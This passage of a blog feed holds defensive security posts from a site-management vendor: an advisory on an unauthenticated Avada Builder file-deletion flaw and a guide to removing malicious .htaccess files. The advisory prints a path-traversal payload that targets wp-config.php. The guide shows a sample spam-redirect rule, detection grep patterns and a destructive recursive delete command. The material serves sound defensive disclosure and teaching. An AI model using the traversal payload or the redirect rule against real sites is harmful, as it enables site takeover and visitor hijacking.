&lt;p&gt;&lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;mySites.guru&apos;s WordPress Extensions inventory&lt;/a&gt; tracks every installed plugin across every connected site, refreshed on each snapshot. Search for &quot;Avada Builder&quot; (or the slug &lt;code&gt;fusion-builder&lt;/code&gt;) and you get every version across your portfolio, grouped by version number, with a &quot;Which sites?&quot; button that lists exactly where each version is running.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: find every Avada Builder install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Open Avada Builder Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every version of Avada Builder across your connected sites. Anything on 3.15.3 or earlier needs the 3.15.4 patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The same inventory feeds the vulnerability scanner. mySites.guru cross-references every installed plugin against the &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Wordfence Vulnerability API&lt;/a&gt; twice a day, so when a CVE like CVE-2026-8713 drops, sites running affected versions get flagged with a red warning banner. No security feeds to watch.&lt;/p&gt;
&lt;h2&gt;Bulk Updating Avada Builder Across Hundreds of Sites&lt;/h2&gt;
&lt;p&gt;Once you know which sites need updating, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites that need 3.15.4, push the update across all of them from one screen. The same workflow covers any plugin, theme, or core update, so the routine you wire up once works for every future CVE. Pair it with the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup or All-In-One Migration integration&lt;/a&gt; to back up each selected site first.&lt;/p&gt;
&lt;p&gt;With a file deletion flaw the backup-first habit earns its keep twice over. If a site was hit before you patched, the missing file is the damage, and a recent backup is your fastest route to a working site.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing 50+ WordPress sites&lt;/p&gt;
  &lt;p&gt;Avada Builder ships with the Avada theme, so most clients running Avada have this plugin whether they know it or not. The patch is the easy bit; the inventory is the work. &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;See how bulk updates work in mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If the patch needs more than a quick test on a particular site, deactivating Avada Builder takes the vulnerable form handler out of play while you schedule a maintenance window. Alternatively, removing or unpublishing any public Avada form that stores entries to the database closes the precondition the attack needs.&lt;/p&gt;
&lt;h2&gt;CVE-2026-8713: Unauthenticated Arbitrary File Deletion&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8713&quot;&gt;CVE-2026-8713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.1 Critical (&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Deletion (Path Traversal, CWE-22)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All versions up to and including 3.15.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.15.4&lt;/strong&gt; (Avada 7.15.4, 2 June 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Precondition&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A public Avada form that stores entries in the database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bounty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;$3,600.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;daroo (via Wordfence Bug Bounty)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The flaw lives in &lt;code&gt;maybe_delete_files()&lt;/code&gt; in the &lt;code&gt;Fusion_Form_DB_Entries&lt;/code&gt; class. When Avada cleans up old form entries, it works out which uploaded files belong to an entry and deletes them. It builds those file paths by string-replacing the uploads URL, with no &lt;code&gt;realpath()&lt;/code&gt; resolution and no check that the final path stays inside the uploads directory.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;../&lt;/code&gt; traversal sequences in submitted form data survive into the deletion path. The handler is registered as a &lt;code&gt;nopriv&lt;/code&gt; AJAX action, so it answers anonymous requests, and an attacker can drive the privacy-cleanup mechanism by controlling the expiration fields on the form submission. Put those together and an unauthenticated visitor can submit something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp-content/uploads/fusion-forms/../../../wp-config.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and have the cleanup routine delete &lt;code&gt;wp-config.php&lt;/code&gt; for them.&lt;/p&gt;
&lt;h3&gt;Why deleting a file is as bad as uploading one&lt;/h3&gt;
&lt;p&gt;A deletion primitive sounds less alarming than file upload or code execution. It is not, because of one specific target.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; holds the database credentials WordPress needs to boot. Delete it and WordPress can no longer connect to its database, so on the next request it assumes this is a fresh install and serves the setup wizard. An attacker who triggered the deletion can now walk through that wizard, point the install at a database they control, and end up with an administrator account on your domain. From an admin account, dropping a malicious plugin and running arbitrary PHP is routine.&lt;/p&gt;
&lt;p&gt;So the chain runs from an unauthenticated request to a deleted config file, to a forced reinstall the attacker drives, to an administrator account and arbitrary code. The first step needs no login and no user interaction, which is why the score is 9.1 and not something lower.&lt;/p&gt;
&lt;p&gt;This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints blind spot&lt;/a&gt; we have written about before: a &lt;code&gt;nopriv&lt;/code&gt; handler is open to the entire internet, so every input it touches has to be treated as hostile. A single path-containment check in &lt;code&gt;maybe_delete_files()&lt;/code&gt; would have stopped this.&lt;/p&gt;
&lt;h3&gt;Is it being exploited yet?&lt;/h3&gt;
&lt;p&gt;As of 22 June 2026, no security vendor has published evidence of in-the-wild exploitation, indicators of compromise, or attack telemetry for CVE-2026-8713. The Wordfence advisory describes the mechanism and the impact, not an active campaign.&lt;/p&gt;
&lt;p&gt;That is good news with a short shelf life. The flaw is unauthenticated and the payload path is no secret now the CVE is public, and a critical, public CVE against a million-install plugin is exactly what the mass scanners go looking for. Patching ahead of that is cheap right now. It usually does not stay cheap for long.&lt;/p&gt;
&lt;h2&gt;How do I watch for exploitation after patching?&lt;/h2&gt;
&lt;p&gt;Patching closes the door. Monitoring tells you whether anyone walked through it first. With a file deletion flaw the tell is on the filesystem.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; covers the signals that matter after a destructive CVE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Missing or changed core, theme, and plugin files. If &lt;code&gt;wp-config.php&lt;/code&gt; was deleted and recreated, or new PHP files appeared in &lt;code&gt;wp-content/&lt;/code&gt;, the file-change alert fires before the next snapshot.&lt;/li&gt;
&lt;li&gt;New administrator accounts. Anything created at admin level fires an alert, whether it came in through the setup wizard, the REST API, or directly through the database.&lt;/li&gt;
&lt;li&gt;wp-admin login activity, with IP, user agent, and timestamp. An unfamiliar admin login on a site that should have no new admins is the cheapest tell that the takeover chain ran.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those fire, the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked recovery workflow&lt;/a&gt; handle the remediation.&lt;/p&gt;
&lt;h2&gt;How to verify your sites are patched&lt;/h2&gt;
&lt;p&gt;Three checks, in order of speed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt;: open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/3a2c29cdb121e7ed00f8c72348c05e82&quot;&gt;Avada Builder extension search&lt;/a&gt; and confirm every install is on 3.15.4 or later. Anything on 3.15.3 or earlier still needs updating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WP-CLI&lt;/strong&gt; on a single site: &lt;code&gt;wp plugin get fusion-builder --field=version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;wp-admin&lt;/strong&gt;: Plugins page, find Avada Builder in the list, check the version.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If WordPress reports no update available, check that the Avada theme is registered with a current ThemeFusion licence. Avada Builder updates come through ThemeFusion&apos;s update channel, not the WordPress.org directory, so a lapsed licence leaves the plugin pinned to an old version.&lt;/p&gt;
&lt;h2&gt;What to do if you suspect a site was hit&lt;/h2&gt;
&lt;p&gt;Because the damage is a deleted file, the symptoms are loud: a site that suddenly shows the WordPress setup screen, a fatal &quot;error establishing a database connection&quot;, or missing media and uploads. If you see those on an Avada site that was on 3.15.3 or earlier, treat it as a possible exploitation, not a random outage.&lt;/p&gt;
&lt;h3&gt;1. Restore from a known-good backup&lt;/h3&gt;
&lt;p&gt;If &lt;code&gt;wp-config.php&lt;/code&gt; or other files were deleted, the fastest clean recovery is a restore from before the deletion. This is where the &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;one-click backup&lt;/a&gt; of files and database pays off. A mySites.guru &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot&lt;/a&gt; records config and version state, but it is not a restorable backup, so for a rollback you want the full backup.&lt;/p&gt;
&lt;p&gt;Restore, then immediately update to 3.15.4 so the same payload cannot delete the file again.&lt;/p&gt;
&lt;h3&gt;2. Hunt for rogue admin accounts&lt;/h3&gt;
&lt;p&gt;If the deletion forced a reinstall and an attacker walked through the setup wizard, they could now hold an administrator account. Check the user table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT ID, user_login, user_registered, user_email
FROM wp_users
ORDER BY user_registered DESC
LIMIT 20;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything created since 2 June 2026 that you do not recognise is suspect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; sorts every account across every connected site by registration date, so you can scan hundreds of sites for new admins in one screen rather than logging into each wp-admin.&lt;/p&gt;
&lt;h3&gt;3. Look for backdoors and modified files&lt;/h3&gt;
&lt;p&gt;A reinstall under attacker control is a perfect moment to plant persistence. Look for unexpected PHP files in &lt;code&gt;wp-content/uploads/&lt;/code&gt;, &lt;code&gt;wp-content/mu-plugins/&lt;/code&gt;, and anywhere else uploads should not contain executable code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find wp-content/uploads -name &apos;*.php&apos; -type f
find wp-content/mu-plugins -name &apos;*.php&apos; -mtime -30
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; runs the same pattern matching across every connected site. Anything it flags gets a one-click &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains what the code does in plain English, and the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files report&lt;/a&gt; flags orphan PHP files outside the normal core, theme, and plugin paths.&lt;/p&gt;
&lt;h2&gt;A note on 3.15.5&lt;/h2&gt;
&lt;p&gt;Avada shipped another security release, &lt;strong&gt;3.15.5&lt;/strong&gt; (Avada 7.15.5), on 15 June 2026. It fixes a &lt;em&gt;separate&lt;/em&gt; arbitrary file deletion bug that occurs when deleting custom icon sets, plus a couple of other issues. That is not the same flaw as CVE-2026-8713, which is fixed in 3.15.4 and lives in the form handler.&lt;/p&gt;
&lt;p&gt;The practical takeaway is simple: do not stop at 3.15.4. Update to the latest Avada release available to you so you pick up both file deletion fixes at once. If your extension inventory shows sites on 3.15.4, they have the CVE-2026-8713 fix but not the icon-set fix, so push them on to the current version.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fusion-builder&quot;&gt;Wordfence advisory for CVE-2026-8713&lt;/a&gt; - the original disclosure with the technical detail&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://avada.com/blog/version-7-15-4-security-update/&quot;&gt;Avada 7.15.4 security update notes&lt;/a&gt; - ThemeFusion&apos;s own release announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8713&quot;&gt;CVE-2026-8713 record&lt;/a&gt; - the canonical CVE entry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/avada-builder-cve-2026-4782-4798/&quot;&gt;Avada Builder Patches Two Security Issues in 3.15.3&lt;/a&gt; - the earlier file read and SQL injection pair in the same plugin&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>vulnerability</category><category>plugins</category><category>avada</category><category>updates</category><enclosure url="https://mysites.guru/_astro/avada-builder-cve-2026-8713.RUs3Fsgd.png" length="0" type="image/png"/></item><item><title>Delete 9,000 Hacker .htaccess Files in One Click</title><link>https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/</link><guid isPermaLink="true">https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/</guid><description>Hackers drop malicious .htaccess files in every folder of your site. mySites.guru deletes all the stray ones in a single click and leaves the legitimate files untouched.</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A redirect hack rarely leaves one malicious file behind. It leaves hundreds, sometimes thousands. When a site gets hit with an &lt;code&gt;.htaccess&lt;/code&gt; injection attack, the hacker writes a malicious &lt;code&gt;.htaccess&lt;/code&gt; file into nearly every folder on the server: every plugin directory, every module, every component, every level of the tree. We have seen affected sites carrying close to 9,000 of them. Cleaning that up by hand, without deleting the handful of legitimate &lt;code&gt;.htaccess&lt;/code&gt; files that keep your site working, is one of the most tedious jobs in incident response.&lt;/p&gt;
&lt;p&gt;The &quot;Multiple .htaccess Files Located In Webspace&quot; check in your mySites.guru audit now has a one-click answer to it: a single button that deletes every stray &lt;code&gt;.htaccess&lt;/code&gt; file across your whole site and leaves the legitimate ones exactly where they are.&lt;/p&gt;
&lt;h2&gt;How mySites.guru deletes stray .htaccess files in one click&lt;/h2&gt;
&lt;p&gt;mySites.guru lists every &lt;code&gt;.htaccess&lt;/code&gt; file it found during your last &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;site audit&lt;/a&gt; under the &lt;strong&gt;Files Information&lt;/strong&gt; section of your results, in a check called &quot;Multiple .htaccess Files Located In Webspace&quot;.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click &lt;strong&gt;Investigate&lt;/strong&gt; on that row and you get the full list of files, with a red button at the top: &lt;strong&gt;Delete all .htaccess files (exc. sensible ones)&lt;/strong&gt;.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click it, confirm, and the work happens server-side in a single pass. There is no file-by-file looping in your browser and no half-finished state if your connection drops. When it finishes you get a count of what was removed.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The reason this is safe is the part that takes the longest to get right by hand: the allow-list. mySites.guru never decides what to delete by reading file content or guessing. It keeps a server-side list of the exact places legitimate &lt;code&gt;.htaccess&lt;/code&gt; files live, and removes everything else that ends in &lt;code&gt;/.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On a &lt;strong&gt;Joomla&lt;/strong&gt; site it preserves the root &lt;code&gt;/.htaccess&lt;/code&gt;, &lt;code&gt;/administrator/.htaccess&lt;/code&gt;, the &lt;code&gt;/plugins&lt;/code&gt; and &lt;code&gt;/libraries&lt;/code&gt; hardening files, and the entire Akeeba Backup family, including the guard Akeeba writes into its backup output directory. On a &lt;strong&gt;WordPress&lt;/strong&gt; site it preserves the root &lt;code&gt;/.htaccess&lt;/code&gt;, &lt;code&gt;/wp-admin&lt;/code&gt;, &lt;code&gt;/wp-content&lt;/code&gt;, &lt;code&gt;/wp-content/uploads&lt;/code&gt;, the plugins folder and the Akismet guard. Everything else goes.&lt;/p&gt;
&lt;p&gt;One deliberate exception: the &lt;code&gt;/tmp&lt;/code&gt; folder is &lt;strong&gt;not&lt;/strong&gt; on the allow-list. It is a favourite hiding spot for injected files, so a &lt;code&gt;.htaccess&lt;/code&gt; sitting in &lt;code&gt;/tmp/includes&lt;/code&gt; gets removed like any other stray file rather than spared.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;The bulk delete removes the malicious .htaccess files and the redirect rules they carry. It does not remove a separate PHP backdoor that may be re-creating them. Run a full audit afterwards and check the suspect-content and core-file results so the files do not simply reappear.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What does a malicious .htaccess file actually do?&lt;/h2&gt;
&lt;p&gt;A malicious &lt;code&gt;.htaccess&lt;/code&gt; file abuses Apache&apos;s per-directory configuration to redirect visitors, hide a backdoor or inject PHP, all without touching a single one of your site&apos;s actual scripts. Because Apache reads &lt;code&gt;.htaccess&lt;/code&gt; before any of your code runs, the attacker controls the request before WordPress or Joomla even loads.&lt;/p&gt;
&lt;p&gt;The most common version is a conditional redirect. The rule only fires for visitors arriving from a search engine or on a mobile device, so when you visit your own site directly it looks perfectly normal, while Google&apos;s traffic gets bounced to spam or a phishing page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.*
RewriteRule .* https://spam-site.example [R,L]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other variants are nastier. A &lt;code&gt;php_value auto_prepend_file&lt;/code&gt; directive injects a backdoor into every PHP request in that folder without editing any of your files. A &lt;code&gt;&amp;lt;FilesMatch&amp;gt;&lt;/code&gt; deny-then-allow block locks down every PHP script in a directory except the attacker&apos;s own shell. An &lt;code&gt;ErrorDocument 404&lt;/code&gt; line serves the payload to any request for a missing path. None of these show up if you only look at your theme or your plugins, because the malice lives in a config file most owners never open.&lt;/p&gt;
&lt;h2&gt;Why do hackers put .htaccess files in every folder?&lt;/h2&gt;
&lt;p&gt;Hackers spread &lt;code&gt;.htaccess&lt;/code&gt; files through every directory for two reasons: coverage and persistence. A per-directory &lt;code&gt;.htaccess&lt;/code&gt; applies its rules to that folder and everything beneath it, so a copy in every directory guarantees the redirect fires no matter which URL a visitor lands on. Cleaning the root file alone leaves every sub-folder still redirecting.&lt;/p&gt;
&lt;p&gt;The second reason is what makes these infections so frustrating to remove. The attacker also leaves a hidden PHP backdoor, and that backdoor re-creates the malicious &lt;code&gt;.htaccess&lt;/code&gt; files whenever they go missing, often within minutes. Security teams describe sites where the file gets rewritten as fast as you can delete it. It is the same pattern behind &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;why a cleaned site gets hacked again days later&lt;/a&gt;: the first wave seeds a dormant backdoor whose only job is to rebuild the payload once you walk away. That is why a successful clean-up is always two jobs: remove the malicious &lt;code&gt;.htaccess&lt;/code&gt; files, and find the backdoor that keeps writing them. mySites.guru handles the first job in one click and points you at the second through its &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hack and backdoor detection&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you find and delete these files manually?&lt;/h2&gt;
&lt;p&gt;The manual route is a recursive &lt;code&gt;find&lt;/code&gt; over SSH, and it works, but only if you have shell access and a steady hand. On most shared hosting you do not get SSH at all, which leaves you hunting folder by folder over FTP. Here are the commands a sysadmin would actually run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Count every .htaccess file (1-3 on a clean site, hundreds or thousands when infected)
find . -name .htaccess | wc -l

# Triage by recent modification time, the best single filter
find . -name &quot;.htaccess&quot; -mtime -7

# Look for the malicious tells (RewriteRule alone is noisy, WordPress uses it too)
find . -name .htaccess -exec grep -lE &quot;auto_prepend_file|base64_decode|RewriteRule .*http&quot; {} \;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The blanket delete exists, and it is exactly the command you should never run on its own:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# DANGEROUS: this deletes the legitimate files too
find . -name .htaccess -delete
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That one line turns a redirect infection into an outage. It removes the root &lt;code&gt;.htaccess&lt;/code&gt; (so every internal URL 404s), the Akeeba Backup guard (so your backup archives become publicly downloadable), and the uploads guard (so PHP can execute in your uploads folder again). The whole difficulty of doing this by hand is separating the thousands of malicious files from the small handful of legitimate ones, and a recursive &lt;code&gt;rm&lt;/code&gt; cannot tell the difference. Over FTP it is worse: dotfiles are hidden by default, there is no recursive search and no way to filter by date, so you open every directory by hand. Across thousands of folders, nobody finishes.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Never run a recursive .htaccess delete without an allow-list. Removing the root file breaks every permalink and SEF URL, and removing a backup-tool guard can expose a full database dump, with password hashes, to anyone who knows the URL.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Which .htaccess files are legitimate on a Joomla site?&lt;/h2&gt;
&lt;p&gt;On a Joomla site, the &lt;code&gt;.htaccess&lt;/code&gt; files that belong there are the root file and the hardening files written by Joomla and Akeeba&apos;s tools. The root &lt;code&gt;/.htaccess&lt;/code&gt;, renamed from Joomla&apos;s shipped &lt;code&gt;htaccess.txt&lt;/code&gt;, drives &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;SEF URLs&lt;/a&gt; and carries a set of rules to block common exploits. Delete it and your search-engine-friendly URLs stop resolving.&lt;/p&gt;
&lt;p&gt;Akeeba Backup writes a protective &lt;code&gt;.htaccess&lt;/code&gt; into its backup output directory, &lt;code&gt;administrator/components/com_akeebabackup/backups&lt;/code&gt;, specifically to stop anyone downloading your backup archives over the web. Those archives contain a full database dump and your configuration secrets, so that one file matters a great deal. mySites.guru preserves the whole Akeeba component and plugin family, plus &lt;code&gt;/administrator/.htaccess&lt;/code&gt; and the &lt;code&gt;/plugins&lt;/code&gt; and &lt;code&gt;/libraries&lt;/code&gt; guards, and deletes the rest.&lt;/p&gt;
&lt;h2&gt;Which .htaccess files are legitimate on a WordPress site?&lt;/h2&gt;
&lt;p&gt;On a WordPress site, the legitimate &lt;code&gt;.htaccess&lt;/code&gt; files are the root permalink file and a few security guards. The root &lt;code&gt;/.htaccess&lt;/code&gt; contains the &lt;code&gt;# BEGIN WordPress&lt;/code&gt; block that routes every pretty permalink through &lt;code&gt;index.php&lt;/code&gt;. Remove it and only your homepage resolves, while every post and page returns a 404.&lt;/p&gt;
&lt;p&gt;The other files worth keeping are written by security plugins and core. &lt;code&gt;/wp-content/uploads/.htaccess&lt;/code&gt; is the deny-PHP guard that Wordfence and similar tools install to stop an uploaded &lt;code&gt;.php&lt;/code&gt; file from executing, which is one of the most important hardening files on the whole site. Akismet ships its own &lt;code&gt;.htaccess&lt;/code&gt; in &lt;code&gt;/wp-content/plugins/akismet&lt;/code&gt;. mySites.guru keeps the root file, &lt;code&gt;/wp-admin&lt;/code&gt;, &lt;code&gt;/wp-content&lt;/code&gt;, the uploads guard, the plugins folder and the Akismet file, and clears away everything else.&lt;/p&gt;
&lt;h2&gt;Run a full audit after the cleanup&lt;/h2&gt;
&lt;p&gt;Deleting the malicious &lt;code&gt;.htaccess&lt;/code&gt; files cleans up the symptom, not the cause. If a backdoor planted them, it can plant them again, so the bulk delete is one step in a wider clean-up rather than the end of it. After you have removed the stray files, run a fresh audit and work through the rest of the results.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content check&lt;/a&gt; flags PHP files containing the obfuscation and injection patterns a backdoor uses. The core-file check tells you which of your WordPress or Joomla files differ from the official release, which is how you spot a modified &lt;code&gt;index.php&lt;/code&gt; or a planted shell. Together they help you find the thing that wrote 9,000 &lt;code&gt;.htaccess&lt;/code&gt; files in the first place. If you are not certain whether your site is compromised at all, start with our guide on &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;whether your site is hacked&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full hacked-site cleanup process&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;mySites.guru manages this across every site you own from one dashboard. You can run the audit, see the &lt;code&gt;.htaccess&lt;/code&gt; count, clear the stray files and check for the backdoor without logging into a single site individually. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start a free audit&lt;/a&gt; and see what is hiding in your webspace.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2024/03/what-is-htaccess-malware-detection-symptoms-prevention.html&quot;&gt;What is .htaccess Malware? (Detection, Symptoms &amp;amp; Prevention)&lt;/a&gt; — Sucuri&apos;s breakdown of how attackers scatter malicious .htaccess files across a site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jetpack.com/blog/how-malware-can-abuse-the-htaccess-file/&quot;&gt;How Malware Can Abuse the .htaccess File&lt;/a&gt; — Jetpack on the redirect, cloaking and injection techniques these files use.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://httpd.apache.org/docs/current/howto/htaccess.html&quot;&gt;Apache .htaccess documentation&lt;/a&gt; — the official reference for what per-directory configuration files can and cannot do.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/server/web-server/httpd/&quot;&gt;WordPress .htaccess in the official server guide&lt;/a&gt; — the canonical &lt;code&gt;# BEGIN WordPress&lt;/code&gt; permalink block, so you can recognise the legitimate root file.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>htaccess</category><category>hacked</category><category>malware</category><category>security audit</category><category>file cleanup</category><enclosure url="https://mysites.guru/_astro/delete-malicious-htaccess-files-bulk.DS_GWgjf.png" length="0" type="image/png"/></item><item><title>OVH Flagged Our Plugin as Malware. It Is Not, and Here Is the Proof.</title><link>https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/</link><guid isPermaLink="true">https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/</guid><description>OVH&apos;s scanner flagged our legitimate bfRestore.php file as malware and cut outgoing connections and email across whole hosting plans. Here is why it is safe.</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you have had an email from OVH this week telling you there is malware on your hosting, and the file it named ends in &lt;code&gt;bfnetwork/bfRestore.php&lt;/code&gt;, take a breath. That file is ours, it is legitimate, and your site has not been hacked. OVH&apos;s scanner made a mistake, and then made a far bigger one in how it reacted to that mistake.&lt;/p&gt;
&lt;p&gt;The email looks alarming on purpose. It says malware was detected, that outgoing requests and PHP email have been blocked &quot;as a protection measure,&quot; and it lists a single file:&lt;/p&gt;
&lt;blockquote&gt;
